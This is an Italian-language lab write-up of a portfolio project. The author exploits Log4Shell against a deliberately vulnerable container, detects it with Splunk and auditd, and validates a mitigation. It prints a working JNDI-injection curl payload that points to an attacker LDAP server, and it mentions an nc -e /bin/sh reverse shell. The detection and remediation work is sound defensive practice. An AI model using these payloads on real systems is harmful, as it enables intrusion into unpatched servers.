
Progetto pratico che dimostra lo sfruttamento di Log4Shell, l'ingegneria del rilevamento con Splunk e auditd, e la remediation validata in un ambiente containerizzato.
Un progetto di sicurezza offensiva e difensiva pratico che simula l'intero ciclo di vita della vulnerabilità Log4Shell: sfruttamento da una VM controllata dall'attaccante, ingegneria del rilevamento in Splunk e mitigazione validata.
La maggior parte dei progetti portfolio in questo ambito copre il brute-forcing SSH. Volevo qualcosa che dimostrasse un set di competenze più completo: sfruttare una CVE reale e ad alto impatto dall'inizio alla fine, per poi passare al lato difensivo per rilevarla e mitigarla, lo stesso ciclo di vita che un ingegnere della sicurezza o del rilevamento affronta nella pratica.
illshot (192.168.1.85), con Splunk eseguito nativamente per l'ingestione dei log e il rilevamentoghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot, Log4j 2.14.1, Java 8u181) eseguita in un container Docker, con i log inoltrati al syslog di Mint tramite --log-driver=syslog1. Configurazione del listener e dello strumento di sfruttamento. Avviato un listener netcat su Kali per catturare il callback della reverse shell, quindi lanciato uno strumento JNDI-Injection-Exploit autocompilato (compilato dal sorgente poiché le release precompilate non erano disponibili) per servire il payload LDAP malevolo.

2. Invio dell'exploit. Payload consegnato tramite un header HTTP appositamente costruito contenente una stringa di lookup JNDI, mirato all'applicazione vulnerabile sulla porta 8080.
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

3. Cattura della shell. L'applicazione vulnerabile ha analizzato l'header, attivato il lookup JNDI e contattato la mia macchina Kali per recuperare ed eseguire la classe malevola, ottenendo una reverse shell eseguita come root all'interno del container.

Ricognizione post-sfruttamento (come farebbe un vero attaccante): confermato l'accesso root, esaminate le variabili d'ambiente (pulite, nessun segreto divulgato), ispezionato il jar dell'applicazione ed esaminato /etc/passwd, che ha rivelato un set di account di servizio inutilizzati dell'immagine base Alpine, un buon esempio di artefatto di ricognizione fuorviante che non riflette la reale superficie d'attacco.
Splunk, che ingerisce il syslog di Mint, ha catturato l'intera catena di exploit: la richiesta iniziale di lookup JNDI, la conseguente stack trace di NamingException e ClassCastException, e i comandi sudo docker exec associati usati per interagire con il container a livello host.

Anche la ricognizione era visibile prima dello sfruttamento: i log del firewall UFW hanno catturato il traffico dello scan Nmap da Kali verso il target.

Un risultato tecnico chiave di questo progetto: una reverse shell grezza nc -e /bin/sh non si autentica mai tramite PAM, quindi non genera alcuna voce in auth.log né alcuna sessione di login. Da sola, ciò renderebbe questo tipo di shell invisibile ai normali log basati sul login.
Tuttavia, i container Docker condividono il kernel dell'host anziché eseguire kernel virtualizzati completamente isolati. Ciò significa che ogni execve (esecuzione di processo) all'interno del container è comunque visibile al sottosistema di audit dell'host. Ho configurato auditd su Mint per monitorare le syscall execve a livello di sistema, etichettato la regola (container_exec) e inoltrato /var/log/audit/audit.log a Splunk come nuovo input.

Riavvendo l'exploit ed eseguendo comandi post-sfruttamento (whoami, cat /etc/passwd, ls /app, env) ho confermato la teoria: auditd ha catturato ogni comando, inclusa la stessa invocazione grezza della reverse shell nc, con l'IP e la porta dell'attaccante direttamente visibili negli argomenti registrati.

Anche l'attività post-sfruttamento più ampia era completamente visibile, eseguita sotto /bin/busybox (la shell minimale del container implementa la maggior parte degli strumenti Unix come symlink a un singolo binario BusyBox, quindi comm mostra busybox mentre exe risolve comunque il percorso completo):

Un dettaglio aggiuntivo degno di nota: ogni evento catturato mostrava auid=4294967295 (non impostato/nessuna sessione di login) abbinato a uid=0 (root). Questa combinazione è di per sé una forte prova di una shell non autenticata, un processo eseguito con pieni privilegi di root ma senza alcun ID di login di audit, esattamente ciò che ci si aspetta da una shell che ha bypassato completamente l'autenticazione normale.
Query di rilevamento chiave utilizzate:
index=main *jndi*
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time
Applicata la mitigazione provvisoria ufficiale pubblicata da Apache e CISA prima delle release Log4j corrette: disabilitazione dei lookup di messaggi JNDI tramite una proprietà di sistema JVM.
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
-p 8080:8080 \
-e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
ghcr.io/christophetd/log4shell-vulnerable-app
Riprova della stessa identica catena di exploit dopo la mitigazione ha confermato la correzione: la richiesta è comunque arrivata ed è stata registrata, ma il lookup JNDI non è mai stato valutato, nessun callback, nessuna stack trace, nessuna shell.

Questo confronto è la prova più chiara del progetto: l'attacco originale ha generato un'intera catena di exploit con 136+ eventi di log correlati e un callback riuscito. Dopo la mitigazione, l'attacco identico genera una singola riga di log benigna senza alcuna attività di lookup a valle.
Vale la pena notare per la difesa in profondità: il tentativo di exploit è rimasto visibile nei log anche dopo la mitigazione. Il valore del rilevamento non scompare una volta che una vulnerabilità viene corretta; un sistema corretto che venga successivamente configurato male, o un payload variante, verrebbe comunque intercettato dalle stesse query di rilevamento costruite qui.